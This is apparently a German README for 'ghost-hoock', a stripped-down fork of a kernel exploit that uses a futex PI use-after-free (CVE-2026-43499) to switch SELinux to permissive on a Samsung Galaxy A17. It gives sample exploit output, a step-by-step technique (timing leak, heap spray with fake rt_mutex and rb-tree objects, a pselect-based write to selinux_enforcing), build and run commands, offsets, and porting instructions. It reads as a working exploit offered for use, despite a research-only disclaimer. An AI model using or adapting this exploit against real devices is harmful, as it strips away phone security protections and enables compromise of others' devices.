
GhostLock auf ein einziges Primitiv reduziert: SELinux deaktiviert auf Galaxy A17 (BZA5) über futex PI UAF (CVE-2026-43499). Kein Root, kein Cred-Patch, kein rwforge.
Ein minimaler Fork von GhostLock, der nur ein Primitiv beibehält: das Abschalten von SELinux über CVE-2026-43499 (futex PI UAF).
ghost-hoock ist ein abgespeckter Fork des GhostLock-Exploits von Mobile Hacking Lab, reduziert auf ein einziges Primitiv:
Ein eingeschränkter Schreibzugriff über futex PI UAF ->
selinux_enforcing = 0.
Kein Root, kein cred-Überschreiben, kein rwforge-Kanal, kein UMH, kein configfs. Nur das Minimum, das nötig ist, um SELinux auf dem verwundbaren Kernel in den permissiven Modus zu versetzen.
Beispielausgabe auf einem Samsung Galaxy A17 (SM-A175F, BZA5):
[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)
Dann:
$ getenforce
Permissive
getenforce gibt Permissive zurück
Der Exploit zielt auf CVE-2026-43499 — einen Use-after-free in der futex-PI-Kette (Priority Inheritance) rt_mutex des Linux-Kernels. Die Kette in ghost-hoock besteht aus vier Schritten:
Timing-Seitenkanal gegen die futex-Hash-Tabelle des Kernels. Wir hämmern FUTEX_WAKE_PRIVATE auf eine Menge von User-Space-Futexes, messen rdtsc-Deltas und korrelieren Hash-Bucket-Kollisionen. Dadurch wird die Adresse unseres eigenen mm_struct wiederhergestellt — die Basis der Spray-Seite, die wir später benötigen.
Dies ist die KernelSnitch-Technik, unverändert aus dem Original-Exploit übernommen.
Wir allokieren eine große order-3-Slab-Seite und legen sie dann mit dem Fake-Object-Layout aus, das von der PI-Route verwendet wird:
Drei Threads:
FUTEX_WAIT_REQUEUE_PI auf f_wait ein, mit Ziel f_pi_target.FUTEX_LOCK_PI auf f_pi_target und dann auf f_pi_chain.sched_setattr(tid, SCHED_BATCH, nice=19) auf der TID des Waiters auf, was rt_mutex_setprio() auslöst und den Kernel zwingt, den Fake-PI-Baum zu durchlaufen.Ein vierter Aufruf aus dem Haupt-Thread — FUTEX_CMP_REQUEUE_PI(1, f_pi_target) — startet das Requeue. Im Kernel läuft rb_erase() gegen unseren Fake-Baum.
pselect() / select() kopiert das fd_set des Users in den Kernel-Stack und durchläuft es später. Wir arrangieren die fd_set-Bitmaps so, dass die Wörter, die der Kernel als rb-tree-Zeiger behandelt, auf fake_right und dessen Parent landen — und das resultierende rb_set_parent(child, parent) wird zu:
*(uint64_t *)target = value | color
Für mode = 1 (Write 1) gilt target = selinux_enforcing und value = base + 0x100, was als byte0 = 0, byte1 = 1 kodiert wird. Der Kernel schreibt 0 nach selinux_enforcing[0] — SELinux ist jetzt permissiv.
Dies ist ein Fork von mobilehackinglab/ghostlock-a17 (MIT). Folgendes wurde 1:1 aus dem Upstream-Exploit übernommen:
Hilfscode (pr_*-Makros, SYSCHK, pin_to_core, set_limit, set_unbuffer) wurde ebenfalls unverändert aus dem Original übernommen.
Das ursprüngliche GhostLock erlangt vollständiges Root auf dem A17: Es installiert einen rwforge-Physik-R/W-Kanal, patcht cred / real_cred, führt einen UMH-Helper mit Init-Credentials aus, erfasst Logs und mehr. In ghost-hoock ist alles nach dem ersten eingeschränkten Schreibzugriff entfernt.
Das ursprüngliche GhostLock bleibt vollständiger und mächtiger als dieser Fork. ghost-hoock ist kein Ersatz — es ist ein minimaler PoC für eine einzige enge Aufgabe: SELinux abzuschalten.
Erfordert clang und make in $PATH. Getestet auf Termux; funktioniert auch über adb shell, wenn die Toolchain vorhanden ist.
git clone https://github.com/USERNAME/ghost-hoock
cd ghost-hoock
make
Ausgabe: ./ghost-hoock (aarch64, PIE).
Über Android NDK (auf einem PC)
make NDK=/path/to/android-ndk-r26
oder manuell:
/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
-O2 -Isrc -Isrc/kernelsnitch -Iinclude \
-D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
-fPIE -pie -pthread \
src/main.c src/spray.c src/route.c -o ghost-hoock
Cross-Compile-Prüfung
file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...
# copy the binary somewhere readable from the shell context
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock
# confirm SELinux is currently enforcing
getenforce
# -> Enforcing
# run
/data/local/tmp/ghost-hoock
# verify
getenforce
# -> Permissive
Optionen
ghost-hoock [options]
--attempts N number of W1 attempts (default: 20)
--no-drain skip slab_drain before each W1 attempt
-h, --help show help
Umgebungsvariablen
· GHOSTLOCK_CORE — 0..N. CPU-Kern, an den der Consumer-Thread gebunden wird. Standard: 0. · KPHYS — 0x.... Physische Kernel-Ladeadresse, falls sie von P0_KERNEL_PHYS_LOAD abweicht. · PREPARE_SLABS — 4..64. Anzahl der während des Sprays vorbereiteten Slab-Seiten. Standard: 32. · PSELECT_SHIFT — -14..14. fd_set-Wortverschiebung. Nur zum Debuggen. · FOPS_MAX_ATTEMPTS — 4..72. Maximale prepare_kernel_page-Versuche für die FOPS-Payload. · RWF_DEBUG — beliebiger Wert. Debug-Zeilen aus der Payload-Konstruktion ausgeben.
6.12.23-android16-5-abA175FXXS5BZD2-4k.shell (u:r:shell:s0) ausgeführt werden, nicht aus einer App.Portierung: andere Geräte/Kernel benötigen ihre eigene Offset-Tabelle. Fügen Sie einen neuen
OFFSETS_ENTRY(...)ininclude/offsets_bza5.hmit Symbol-Offsets hinzu, die ausvmlinux/kallsymsfür diesen Build extrahiert wurden, und kompilieren Sie dann neu.
page_base oder ein Schreibzugriff, der auf unrelated Speicher landet, wird den Kernel zum Absturz bringen. Der Fork hat weniger Angriffsfläche als das Original (kein rwforge, kein cred-Patch, kein UMH), ist also statistisch sicherer, aber nicht 100% kugelsicher.slide = 0. Es gibt keinen KASLR-Leak in diesem Fork. Wenn Sie ihn auf einen KASLR-fähigen Kernel portieren, müssen Sie slide.c aus dem Original zurückbringen.0 nach selinux_enforcing. Wenn Sie Root benötigen, verwenden Sie das vollständige ghostlock-a17.selinux_enforcing = 0) wird beibehalten. Versuchen Sie nicht, ihn zu Write 2 oder der rwforge-Pipeline zu erweitern, ohne die PI-Route tiefgehend zu verstehen.
ghost-hoock/
├── include/
│ ├── ghost_hoock.h # shared header, API
│ ├── offset.h # TARGET_CONFIG_H dispatcher
│ ├── offsets_bza5.h # symbol offsets (BZA5 only)
│ ├── runtime_struct_offsets.h # dynamic struct offsets (_RSO macros)
│ └── target.h # BZA5 addresses, payload layout
├── src/
│ ├── main.c # CLI, offset selection, W1 loop
│ ├── spray.c # KernelSnitch + heap spray + ashmem
│ ├── route.c # PI route + pselect constrained write
│ └── kernelsnitch/ # mm_struct leak (from upstream)
│ ├── kernelsnitch.h
│ ├── futex_hash.h
│ ├── timeutils.h
│ └── utils.h
├── docs/
│ └── img/
│ └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md
MIT — wie das Upstream-ghostlock-a17. Siehe LICENSE.
Dieser Fork behält den ursprünglichen Copyright-Hinweis von mobilehackinglab (2026) bei und fügt die Fork-Autoren oben hinzu, wie es die MIT-Bedingungen erfordern.
Das Projekt wird ausschließlich für Sicherheitsforschung auf Ihrem eigenen Gerät veröffentlicht. Die Ausführung gegen ein Gerät, das Ihnen nicht gehört, ist in den meisten Rechtsordnungen illegal.
mm_struct-Leak-Technik.Für die Forschung entwickelt. Auf einem einzigen physischen Gerät getestet. Nutzung auf eigenes Risiko.
| Offset | Objekt | Zweck |
|---|
0x0E80 | fake_lock | Fake rt_mutex |
0x0F80 | fake_fops | Fake file_operations-Tabelle |
0x1180 | fake_w0 | Fake rt_mutex_waiter, verwendet als Zielbaum |
0x1240 | fake_right | Fake rb-tree rechtes Node — hierher kommt der Schreibwert |
0x1260 | fake_left | Fake rb-tree linkes Node |
0x1280 | fake_task | Fake task_struct |
Die gesamte Seite wird über einen AF_UNIX-Socket als SKB_SEND_SIZE = 2 * ORDER3_SIZE von sendmsg gesendet, sodass die skb-Daten auf unserer geleakten Seite landen. Dann geben wir sie in einer kontrollierten Reihenfolge frei, sodass unsere Seite auf einem per-cpu partial slab landet, den wir zurückgewinnen können.
ret = 6 (statt des Standardwerts 9) bestätigt, dass der Schreibzugriff gelandet ist: Der Consumer hat das Ziel während select() erreicht und wurde dadurch vorzeitig aufgeweckt.
| Komponente | Datei | Hinweise |
|---|
| KernelSnitch | src/kernelsnitch/* | mm_struct-Leak über futex-Hash-Timing |
| Heap-Spray | src/spray.c | Fake-Object-Layout, prepare_skb_payload, prepare_kernel_page |
| PI-Route + pselect | src/route.c | prepare_pselect_fdsets, do_pselect_fake_lock_route, consumer_thread, waiter_thread, owner_thread |
| BZA5-Offsets | include/offsets_bza5.h | Symboltabelle extrahiert aus 6.12.23-android16-5-abA175FXXS5BZD2-4k |
| BZA5-Ziel-Header | include/target.h | Adresslayout, Payload-Offsets (nur W1-Teilmenge) |
| Runtime-Struct-Offsets | include/runtime_struct_offsets.h | _RSO()-Makros für task_struct-Felder |
| Entfernte Datei | Warum sie im Original existierte |
|---|
rwforge_a17.c | Marching-Forger-Physik-R/W-Kanal über pipe_buffers |
pipe_physrw.c, pipe_reclaim.c | Pipe-Buffer-Reclaim -> beliebiges Kernel-Lesen/Schreiben |
root.c | cred / real_cred-Überschreiben, su-Installation, SELinux-SID-Patching |
umh_root.c, wq_umh_root() (in main.c) | Ausführen eines Init-Credentials-Helpers aus einem gefälschten Kernel-Workqueue-Element |
slide.c | KASLR-Leak über boot_id-Orakel — auf BZA5 nicht nötig, KASLR ist aus |
miniadb.c | Bootstrap über ADB TCP |
try_cfi_stage() (in fops.c) | CFI-freundliche configfs-Stufe, die zum Bootstrapping des Root-Pfads verwendet wurde |
run_rwforge(), run_bootid_oracle(), rwforge_root_and_capture() | Die gesamte Root-Pipeline |
install_embedded_su(), install_embedded_wallpaper() | Root-Installations-Helfer |
Write 2 (cred), patch_cred_*, patch_task_seccomp | Credential-Übernahme nach W1 |